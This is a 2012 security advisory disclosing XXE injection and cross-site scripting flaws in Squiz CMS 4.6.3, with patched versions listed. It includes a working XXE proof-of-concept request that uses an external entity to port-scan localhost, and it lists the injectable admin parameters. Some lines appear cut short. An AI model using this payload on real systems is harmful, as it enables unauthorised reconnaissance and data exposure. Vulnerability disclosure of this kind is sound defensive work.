Sense of Security - Security Advisory - SOS-12-007
Release Date. 14-Jun-2012
Last Update. -
Vendor Notification Date. 02-Apr-2012
Product. Squiz CMS
Affected versions. Squiz 4.6.3 (verified) and possibly others
Severity Rating. Medium
Impact. Exposure of session information
Exposure of system information
Exposure of network information
Denial of Service
Attack Vector. Remote unauthenticated (XXE);
Remote authenticated (XSS)
Solution Status. Patched in version 4.6.5 and 4.8.1 releases
(not verified by SOS)
CVE reference. CVE - not yet assigned
The CMS is vulnerable to multiple security vulnerabilities, such as XML
eXternal Entities (XXE) injection and Cross-Site Scripting (XSS).
1. XXE Injection:
XXE injection allows a wide range of XML based attacks, including local
file disclosure, TCP port scans and a Denial of Service (DoS) condition,
which can be achieved by recursive entity injection, attribute blow up
and other types of injection.
The following resource accessible by an unauthenticated user is
Proof of Concept (port scanning).
POST /_admin/?SQ_ACTION=asset_map_request HTTP/1.1
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
User-Agent: Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_02
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
<!DOCTYPE scan [<!ENTITY test SYSTEM "http://localhost:22">]>
HTTP/1.0 200 OK
Date: Tue, 27 Mar 2012 06:13:26 GMT
Cache-Control: no-store, no-cache, must-revalidate,
file]: failed to open stream: HTTP request failed! SSH-
Cross-Site Scripting (XSS) may be used to steal session information,
Several resources of the /_admin page are affected including:
am_section parameter, assetid parameter, sq_asset_path parameter,
sq_backend_log_type parameter, sq_link_path parameter,
asset_ei_screen parameter, current_assetid parameter and
tool_reindex_reindexing_root_assetid [assetid] parameter.
Proof of Concept.
Upgrade to version 4.6.5 or 4.8.1 releases.
Nadeem Salim from Sense of Security Labs.
Sense of Security is a leading provider of information security and
risk management solutions. Our team has expert skills in assessment
and assurance, strategy and architecture, and deployment through to
ongoing management. We are Australia's premier application penetration
testing firm and trusted IT security advisor to many of the country's
Sense of Security Pty Ltd
Level 8, 66 King St
Sydney NSW 2000
T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
E: [email protected]
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